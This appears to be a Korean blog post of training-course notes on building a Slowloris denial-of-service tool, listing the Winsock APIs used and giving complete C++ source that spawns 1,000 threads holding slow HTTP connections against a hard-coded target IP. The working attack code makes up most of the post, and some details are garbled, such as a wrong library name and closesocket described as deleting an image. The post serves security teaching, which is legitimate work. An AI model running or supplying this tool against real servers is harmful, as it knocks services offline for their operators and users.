728x90
반응형
실습
1. 제작 - Slowloris(동물이름과 똑같다)
특징 : 엄청 느린 Dos 공격이다. 패킷의 Header를 계속 보내서 Session을 유지한다. 1대의 PC와 1대의 Server서버이면 크게 상관 없지만, 몇 만대의 PC가 계속 세션을 유지하면 서버에 과부하가 생긴다.
제작 환경
Microsoft Visual Studio 2019
C++ language
제작 필수 API
WSAStartup() : WS2_32.dll을 사용 할 수 있도록 초기화 하는데 사용
gethostbyname() : IP주소를 알아낼때 사용
CreateThread() : Thread 생성
socket() : 데이터 전송에 사용되는 소켓을 생성
connect() : 서버에 연결
send() : 데이터 전송
Sleep() : 대기
Closesocket() : 이미지 삭제
Debug 모드에서 Release모드로 속성을 바꿔야 한다.(용량 및 실행 여부 차이)
VS Studio에서 런타임 라이브러리에서 다중 스레드로 변경
코드 생성
#include<stdio.h>
#include<Winsock2.h>
#pragma comment(lib, "ws_32.lib")
DWORD WINAPI SlowlorisThread(PVOID p)
{
SOCKET s;
sockaddr_in* victim;
char header[] = "GET /";
char a = 'A';
int n;
victim = (sockaddr_in*)p;
while (1)
{
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
//소켓이 제대로 생성이 되었다면
if (s != INVALID_SOCKET)
{
//접속 시도하고
connect(s, (sockaddr*)victim, sizeof(sockaddr_in));
//헤더 날림
send(s, header, sizeof(header) * 1, 0);
while (1)
{
n = send(s, &a, 1, 0);
if (n == SOCKET_ERROR)
{
break;
}
//하나 날리고 쉬고 하나 날리고 쉬고를 반복
Sleep(100);
}
}
}
}
int main() {
WSADATA WD;
ULONG i;
hostent* host;
sockaddr_in victim;
WSAStartup(0X202, &WD); /* 윈도우 소켓 사용준비 */
char victim_ip[] = "192.168.10.1"; /*공격대상 ip입력 */
host = gethostbyname(victim_ip);
victim.sin_family = AF_INET;
victim.sin_addr.S_un.S_addr = *(PULONG)host->h_addr;
printf("\nCreating thrade for slowloris is attack\n");
/* 공격 스레드 생성*/
for (i = 0; i < 1000; i++)
{
CreateThread(NULL, 0, SlowlorisThread, &victim, 0, NULL);
}
printf("\nAttack started\n");
printf("\nPlease ENTER anykey to stip attack\n");
getchar();
return 0;
}
이미지 Password(패스워드) : 감염
CyberCher
키값 a를 주고 192.168.10.1(공격 대상 서버)
악성 코드 분석
사전지식
- 컴파일/디컴파일(컴파일된 exe를 다시 source로 만드는 것을 디컴파일)
- 어셈블리어
- 레지스터
728x90
반응형
'기타 교육 > 정보보호 컨설팅 전문가 양성과정' 카테고리의 다른 글
11 - 악성코드 분석 2(미완료) (0) | 2021.06.10 |
---|---|
8 - 컨설턴트 전문가 직무 특강 (0) | 2021.06.09 |
9 - 침투 테스트(Penertration testing)[테스트 종류/유형 , IP 스캔, Nmap, Fidder Web Debugger) (0) | 2021.06.08 |
7 - 모의해킹(OWSAPBrokenweb/) (0) | 2021.06.04 |
6 - 네트워크 보안(OSI 7계층, 이더넷, Data Header(데이터 헤더), CSMA/CD, IP 프로토콜, Hub, Wire Shark) (0) | 2021.05.28 |